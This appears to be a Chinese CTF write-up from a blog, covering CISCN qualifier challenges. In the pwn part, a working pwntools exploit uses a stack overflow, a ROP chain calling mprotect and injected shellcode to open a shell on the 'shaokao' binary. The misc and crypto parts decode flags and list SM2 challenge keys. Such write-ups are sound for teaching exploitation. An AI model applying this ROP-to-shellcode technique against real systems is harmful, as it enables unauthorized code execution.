ciscn_pwn_shaokao


ciscn初赛wp

pwn

shaokao

检查:

image-20230527170343950

发现是64位静态链接文件

ida查看:

main

image-20230527170503429

menu

image-20230527170530084

可以看到这里有一个if判断才可执行的“改名”

image-20230527170634568

很明显这里有一个栈溢出:

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')

拿到改名选项。

但是这题没有给我们system和binsh所以只能换种思路:因为是静态链接,所以一定有mprotect函数,可以直接更改段权限,这里我们可以直接更改bss段的权限,然后直接把shallcode写入bss段执行,又因为是64位,所以需要寄存器传参:

mprotect:

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

参考:Linux中mprotect()函数详解__bob_h的博客-优快云博客

所以这里就可以更改权限:

payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个

image-20230527172614882

所以还要多传一个参数

通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode,再跳转到shellcode处执行

注:这里bss段的地址只能选用4kb整数倍的地址。

exp

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
context(terminal = ['tmux','split','-h'])
# io =remote('123.56.238.150',24460)
io = process('./shaokao')
mp_addr = 0x0458B00
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx = 0x04a404b
read = 0x0457DD0
buf_addr = 0x4E9000
bss_addr = 0x4E9000

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
# gdb.attach(io)
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\
    p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\
    p64(read)+p64(buf_addr)
io.recvuntil("请赐名:\n".encode('utf-8'))
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

misc

使用wireshark打开:

直接追踪tcp流:

image-20230528174521395

中间红色部分拼接:

MMYWMX3GNEYWOXZRGAYDA===

直接base32解码:

flag:

c1f_fi1g_1000

Crypto

sign in passwd

用给的第二行数据进行base64换表,再解码:

from base64 import*
T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF'
T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
str = ''
for i in range(len(enc)):
   str += T1[T2.index(enc[i])]
# str = base64.b64decode(str)
print(str)
   

得出:

ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9

解码:

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

国密sm2

做题时的记录:

"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8"

A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC

A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906

B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47

B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3

random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5

 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc"

随机数铭文:29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 

B_pri明文=


E8 B4 BA 6E F1 3A CE 6C  DC D2 79 FF DA D6 54 49
25 74 18 94 2B 0C EF 92  F1 9A 81 AF 02 66 62 6E

E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA 

根据给的文件做就可以.

C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA


根据给的文件做就可以.

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值